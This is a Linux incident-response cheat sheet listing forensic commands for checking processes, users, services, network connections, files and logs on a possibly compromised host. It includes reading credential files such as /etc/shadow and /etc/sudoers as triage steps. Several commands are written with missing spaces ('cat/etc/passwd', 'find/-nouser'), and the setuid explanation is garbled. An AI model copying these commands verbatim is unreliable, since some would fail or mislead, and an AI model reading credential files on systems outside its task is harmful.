Linux Cheat Sheet Regarding Incident Response & Intrusion Detection

◎This description is referenced from multi-website◎
日本語版はこちら →現在作成中…

There is plenty of volatile data that can be collected from a suspect system nowadays. Collecting this data will help you make a preliminary determination as to whether or not there was an incident. Some of the more common pieces of data you should collect are discussed below.

Big Five Areas for Linux Forensics

The cheat sheet gives quick methods for assessing a Linux host for signs of compromise. It focuses on what we call The Big Five areas of Linux forensics:

[Processes] – Suspicious processes and network activity.
[Directories] – Suspicious directories holding malicious payloads, data, or tools to allow lateral movement into a network.
[Files] – Files that are malicious, likely tampered with, or otherwise out of place on a Linux host.
[Users] – Areas to check for the suspicious user activity.
[Logs] – Log file tampering detection and common areas to check for signs someone has been covering their tracks.

The cheat sheet helps assess a Linux host quickly to find many common problems. Even advanced attackers may do things that can be spotted with these techniques if they aren’t careful.

Security incidents can be resolved in the following ways:

• By checking the running process

• By understanding the contents of physical memory.

• By collecting detailed information about hostname, IP address, operating system, etc.

• Collect information about system services.

• Log in to the system by identifying all known and unknown users.

• Open ports and any network activity by checking the network connection.

• By determining the existence of various files

User account

As an incident responder, it is important to investigate the activity of user accounts. It can help you understand the logged-in users, existing users, regular or abnormal logins, failed login attempts, permissions, access via sudo, etc. Various commands for checking user account activity:

These commands provide information about accounts that are currently logged into a system by querying the utmp file. The utmp file contains a simple database of active login sessions, with information about the user account, duration, and origin (console or remote hostname/IP address) of each session. To determine the current effective users on the system, enter the following commands

whoami
who
w
logname
id
last
lastb

The id command provides additional details about the current user, including the uid, gid, and which groups the user is in. The last command displays the users who were logged in recently, if the system crashed or was shut down while a user was logged in, and when the system was booted. The lastb command displays a list of failed log-in attempts.

※Caution※:
The utmp file can become corrupt and report erroneous information. So, when investigating what appears to be suspicious user activity, some effort should be made to confirm that the account of concern is actually logged into the system.

Identify whether there are suspicious accounts in the system. The cat command usually gets all the information about the user account. To do this, type

cat/etc/passwd

The'Setuid' option in Linux is the only file permission. Therefore, on Linux systems, when users want to change their passwords, they can run the "passwd" command. Since the root account is marked as setuid, you can get temporary permissions.

passwd -S [User_Name]

Grep is used to search for lines matching regular expressions in plain text. :0: Used to display the "UID 0" file in the /etc/passwd file as command below.

grep :0:/etc/passwd

To identify and display whether the attacker created any temporary users to perform the attack, type

find/-nouser -print

/etc/shadow contains the encrypted password, and detailed information about the password, and can only be accessed by the root user.

cat/etc/shadow

The group file displays information about the group used by the user. To view details, type

cat/etc/group

If you want to view information about the user and group privileges to be displayed, you can view the /etc/sudoers file.

cat/etc/sudoers

Log entry

To view the latest login report of a specific user or all users in the Linux system, you can enter the below command.

lastlog

To identify any weird SSH and telnet login names or authentication in the system, you can go to the /var/log/ directory and type

tail auth.log

To view the history of commands typed by the user, you can type less history, and you can even mention the number of commands you typed last time. To view the history, you can enter the command below.

history | less

System resource

System resources can tell you a lot of information about system log records, system uptime, memory space, and system utilization.

To find out whether your Linux system has been running overtime, or to know how long the server has been running, the current time in the system, the number of currently logged-in users, and the average load of the system, you can enter the command below.

uptime

To view the memory utilization of the system in Linux, the physical memory and swap memory used in the system, and the buffer used by the kernel, you can enter the command below.

free

As an incident responder, you can check the detailed information of ram, available memory space, buffer, and swap on the system, you can type

cat/proc/meminfo

Also, it is your responsibility to check whether there is an unknown installation on the system and to check whether there is an installation on the system, you can enter

cat/proc/mounts

Process flow

◎Collecting Process Information

During the live response, collect certain information pertaining to each process to gain process context or a full perspective about the process and how it relates to the system state and to other artifacts collected from the system. To gain the broadest perspective, a number of tools gather valuable details relating to processes running on a subject system.

To collect a simple list of running processes and assigned process identifiers (PIDs) from a subject system, including process activity times, enter the following command

ps -ef
ps aux

To examine the number of system resources that processes are consuming, enter the following command

top

As the top command constantly updates and displays system status in real-time (the standard output of which is binary if simply piped to a file), capturing the contents to a text file for meaningful analysis can be a challenge. To accomplish this, enter the following command

top -n 1 -b

To obtain detailed system usage, enter the following command

pidstat

The pidstat utility has options to report page faults ( -r), stack utilization ( -s), and I/O statistics ( -d) including the number of bytes written and read per second by a process. This information may be helpful in identifying processes that are logging keystrokes or transferring large amounts of data to/from the compromised system.

To gather resource consumption details for a specific target process, use the –p <target_pid> command option.

pidstat -p 1110

Once a target process has been identified, the location of the associated executable program can be uncovered using the whereis and which commands

The whereis command locates the source/binary and manual entries for target programs; to query simply for the binary file, use the –b switch. Similarly, the which command shows the full system path of the queried program (or links) in the current environment; no command-line switches are needed. The which –a command displays all matching executables in PATH, not just the first. Suppose, for example, that during the initial analysis of running processes on a subject system, a rogue process named logkeys (a GNU/Linux keylogging program) was discovered, the following whereis and which commands will reveal the system path to the associated suspect executable

whereis -b logkeys
which -a logkeys

Be aware that the which command only searches in locations in the PATH environment variable. So, the PATH environment variable could be modified by an attacker to omit certain directories from a search using the which command.

In identifying the executable program that initiated a process, it is useful to determine the owner of the process to gain user and security context relating to the process. Anomalous system users or escalated user privileges associated with running processes are often indicative of a rogue process. Using the ps aux command can also identify the associated username of a running process. However, to gain a granular context regarding a specific target – real and effective ID – by querying for all processes associated with the username by using the following command:

ps -u <username> //the -u argument is case-insensitive

An alternative command to gather deeper context regarding the owner of a suspect process is

ps -eo pid, user, group, args, etime, lstart | grep '<suspect PID>'

Upon execution, malware spawns additional processes or child processes. To obtain a structured hierarchical ‘tree’ view of processes, query the suspect system with the ps or pstree utility. The table below provides command options to achieve varying levels of process tree details.

A great utility for viewing the libraries loaded by a running process is pmap. This does not only identifies the modules invoked by a process but reveals the memory offset in which the respective libraries have been loaded.

pmap -d <PID>

The command-line parameters associated with the target process can be obtained by querying the suspect system with a number of different commands

ps -eafww
ps -auxww

The ww switch ensures unlimited width in output so that the long command-line arguments are captured.

◎Correlate Open Ports With Running Processes

Process-to-Port correlation can be conducted by querying a subject system with a conjunction of the netstat, lsof, and fuser commands.

To determine which process (and associated user) is listening on a specific port using the fuser utility, enter the following command.

fuser -u <PID>/<protocol>
//Example
fuser -u 1161/udp

To determine which process is listening on a specific port using the netstat utility, enter the following command

netstat -anp

The executable that is associated with this suspicious process can be found using the lsof command

lsof -p 1161

In addition to providing information about open ports, the fuser command can show which processes are accessing a particular file or directory. To determine which processes (and associated user) are accessing a specific directory (tmp/evil) using the fuser utility, enter the following command

fuser -u /tmp/evil

◎Open Files and Dependencies

Determining the files a particular process has opened can lead a forensic investigator to additional sources of evidence.

The lsof command reveals the files and sockets being accessed by each running program and the username associated with each process.

lsof

The output of lsof also shows which ports and terminals a process has opened. Using the following options provides a list of just the open ports with the associated process and network connections.

lsof -i -n -P

Service

The services in the Linux system can be divided into system services and network services. System services include service status, cron, etc., and network services include file transfer, domain name resolution, firewalls, etc. As an incident responder, you can determine whether there is an abnormality in the service.

◎Identify Running Services

To find any abnormally running services, you can use the below command.

service –-status-all

Malware can manifest on a victim system as a service, silently running in the background, unbeknownst to the user. To identify running services, query the subject system with the service command and grep the results for running services (denoted by the “+” symbol)

service --status-all | grep +

Incident responders should look for any suspicious planned tasks and tasks. To find scheduled tasks, you can use the below command.

cat/etc/crontab

To solve DNS configuration problems and take advantage of a keyword list containing values ​​that can provide various types of resolver information, you can use

more/etc/resolv.conf

To check the file that converts a hostname or domain name to an IP address, which is useful for testing changes to the website or SSL settings, you can use

more/etc/hosts

To check and manage IPv4 packet filtering and NAT in Linux systems, iptables can be used and various commands can be used

iptables -L -n

◎Examine Loaded Modules

Malware may be loaded as a kernel module on the compromised system. Currently loaded modules can be viewed using the lsmod command which displays information that is stored in the /proc/modules file.

lsmod

File

As an incident responder, you should pay attention to any abnormal-looking files in the system.

To determine the permissions of any excessively large files and their target locations in the system, you can use the below command.

find/home/-type f -size +512k -exec ls -lh {}/;

As an incident responder, if you want to view abnormal files that have been in the system for 2 days, you can use the below command.

find/-mtime -2 -ls

Network settings

As an incident responder, you should be keenly aware of network activities and settings. It is important to determine the overall status of the system network and its operating status. To obtain network activity information, various commands can be used.

To view the network interfaces on the system, you can use the below command.

ifconfig

To list all processes that are listening on their PID port, you can use

lsof -i

To display all listening ports in the network, use

netstat -nap

To display the system ARP cache, you can enter

arp -a

$PATH displays a list of directories, which tells the shell to search for executable files in order to check the directories that can be used in the path.

echo $PATH

Summary

We hope that it will be useful to everyone when dealing with incidents such as unauthorized access to Linux. Finally, in addition to the links in the above document, you can also refer to the following information. As the IT environment becomes more abundant, network security and complete policies (laws/rules) will be required in the near future.

Reference

1. Computer Security Incident Response Guide (Full Japanese)

2. An Interview to BOSS-CON JAPAN and changed to a domestic server OS share! Linux server rapid expansion (Full Japanese)

3. Series: Incident Response First Steps How to Discover Incidents (2)
   -How to Detect System Tampering- (Full Japanese)

4. Linux Compromise Detection Presentation (Video)
   Linux Compromise Detection Command Cheat Sheet

5. Early detection and analysis of advanced cyber attacks using logs (Full Japanese)

CRE-CO Co., Ltd(JP)
Always engineer first
Yuta Lu